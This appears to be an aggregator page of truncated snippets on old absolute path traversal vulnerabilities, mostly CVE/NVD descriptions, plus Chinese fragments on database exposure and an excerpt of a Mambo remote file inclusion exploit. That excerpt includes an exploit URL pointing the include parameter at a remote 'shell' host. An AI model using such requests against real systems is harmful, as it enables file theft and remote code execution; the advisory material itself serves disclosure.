CVE-2008-6610

CVE-2008-6610 affects Stefan Ott’s phpcksec 0.2.0 via an absolute path traversal in phpcksec.php. An attacker can remote read files and list arbitrary directories by supplying a full pathname in the file parameter. This is the stated vulnerability and impact in multiple sources (CVE/NVD). The ava...

Path traversal

Absolute path traversal vulnerability in upload.php in Rapidleech rev.36 and earlier allows remote attackers to read arbitrary files via a base64-encoded absolute path in the filename parameter...

CVE-2009-0753

Absolute path traversal vulnerability in MLDonkey 2.8.4 through 2.9.7 allows remote attackers to read arbitrary files via a leading "//" double slash in the filename...

CVE-2009-0753

CVE-2009-0753 affects MLDonkey 2.8.4–2.9.7 where the web interface mishandles filenames with leading //, enabling a remote attacker to read arbitrary files. Gentoo GLSA-200903-36 and Debian/Fedora advisories document this as an information-disclosure vulnerability via the web interface. The recom...

CVE-2008-6002

Absolute path traversal vulnerability in sendfile.php in web-cp 0.5.7, when registerglobals is enabled, allows remote attackers to read arbitrary files via a full pathname in the filelocation parameter...

Path traversal

Absolute path traversal vulnerability in sendfile.php in web-cp 0.5.7, when registerglobals is enabled, allows remote attackers to read arbitrary files via a full pathname in the filelocation parameter...

Path traversal

Absolute path traversal vulnerability in admin/fileKontrola/browser.asp in Omnicom Content Platform OCP 2.0 allows remote attackers to list arbitrary directories via a full pathname in the root parameter...

CVE-2008-5997

CVE-2008-5997: Absolute path traversal in Omnicom Content Platform (OCP) 2.0 — vulnerable code path is admin/fileKontrola/browser.asp. The root parameter can be used remotely to enumerate directories. Connected sources confirm the vulnerability and impact (directory listing/CONF disclosure); no e...

Teach you how to get hzhost installation absolute path-vulnerability warning-the black bar safety net

There are some friends in to see my hzhost invasion series of articles,also encountered the catalog is not in the D drive difficulties. I'm in theand then burst hzhost the virtual host of the sql injection vulnerabilitymentioned,can be put in the registry to store the absolute path value is updat...

Path traversal

Absolute path traversal vulnerability in front-end/dir.php in mini-pub 0.3 and earlier allows remote attackers to list arbitrary directories via a full pathname in the sDir parameter...

CVE-2008-5883

CVE-2008-5883 describes an absolute path traversal in mini-pub (front-end/dir.php) prior to version 0.3, where a full pathname supplied in the sDir parameter allows remote attackers to list arbitrary directories. Documents confirm the affected component and root cause; exploitation details are no...

CVE-2008-5579

The CVE-2008-5579 entry applies to mini-pub 0.3, affecting the file mini-pub.php/front-end/cat.php. The issue is an absolute path traversal vulnerability that allows remote attackers to read arbitrary files by supplying a full pathname in the sFileName parameter. This is a straightforward input-v...

动力(My Power)暴库漏洞

直接输入动力系统的conn.asp的地址，如“http://www.asp163.net/inc/conn.asp”，在脚本错误提示中会暴露出数据库的真实地址及文件名，从而可以下载数据库。 动力My Power3.5XACCESS/SQL版 第一步，将数据库的扩展名改为“.asp”或“.asa”，我们已经在数据库中做了防下载处理。改名后，即使有人知道了数据库的真实地址及文件名，也下载不了。 第二步，修改conn.asp及connuser.asp中第5行的数据库地址，将原来使用的相对地址改为使用绝对地址。如：原来这一行内容是：db=...

FreeBSD Ports: coppermine

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

Absolute path traversal Apache Tomcat WEBDAV

Absolute path traversal vulnerability in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0, 5.0.0, 5.5.0 through 5.5.25, and 6.0.0 through 6.0.14, under certain configurations, allows remote authenticated users to read arbitrary files via a WebDAV write request that specifies an entity with a SYSTEM tag...

Path traversal

Absolute path traversal vulnerability in fckeditor/editor/filemanager/browser/default/connectors/php/connector.php in UNAK-CMS 1.5.5 allows remote attackers to include and execute arbitrary local files via a full pathname in the Dirroot parameter, a different vulnerability than CVE-2006-4890.1...

Mambo 4.6.4 - 'Output.php' Remote File Inclusion

.-----------------------------------------------------------------------------. | vuln.: Mambo 12 / 13 14 requireonce$mosConfigabsolutepath . '/includes/Cache/Lite.php'; ... ^ no comment.. RFI in line 14.. exploit: http://host/path/includes/Cache/Lite/Output.php?mosConfigabsolutepath=http://shell...

CVE-2008-2045

Absolute path traversal vulnerability in SugarCRM Sugar Community Edition 4.5.1 and 5.0.0 allows remote attackers to read arbitrary files via a full path in the URL parameter to modules/Feeds/Feed.php, which places the contents into a related cache file in the .cache/feeds directory...

Path traversal

Multiple absolute path traversal vulnerabilities in certain ActiveX controls in WatchFire AppScan 7.0 allow remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the 1 CompactSave and 2 SaveSession method in one control, and the 3 saveRecordedExploreToFile...

CVE-2008-2015

Multiple absolute path traversal vulnerabilities in certain ActiveX controls in WatchFire AppScan 7.0 allow remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the 1 CompactSave and 2 SaveSession method in one control, and the 3 saveRecordedExploreToFile...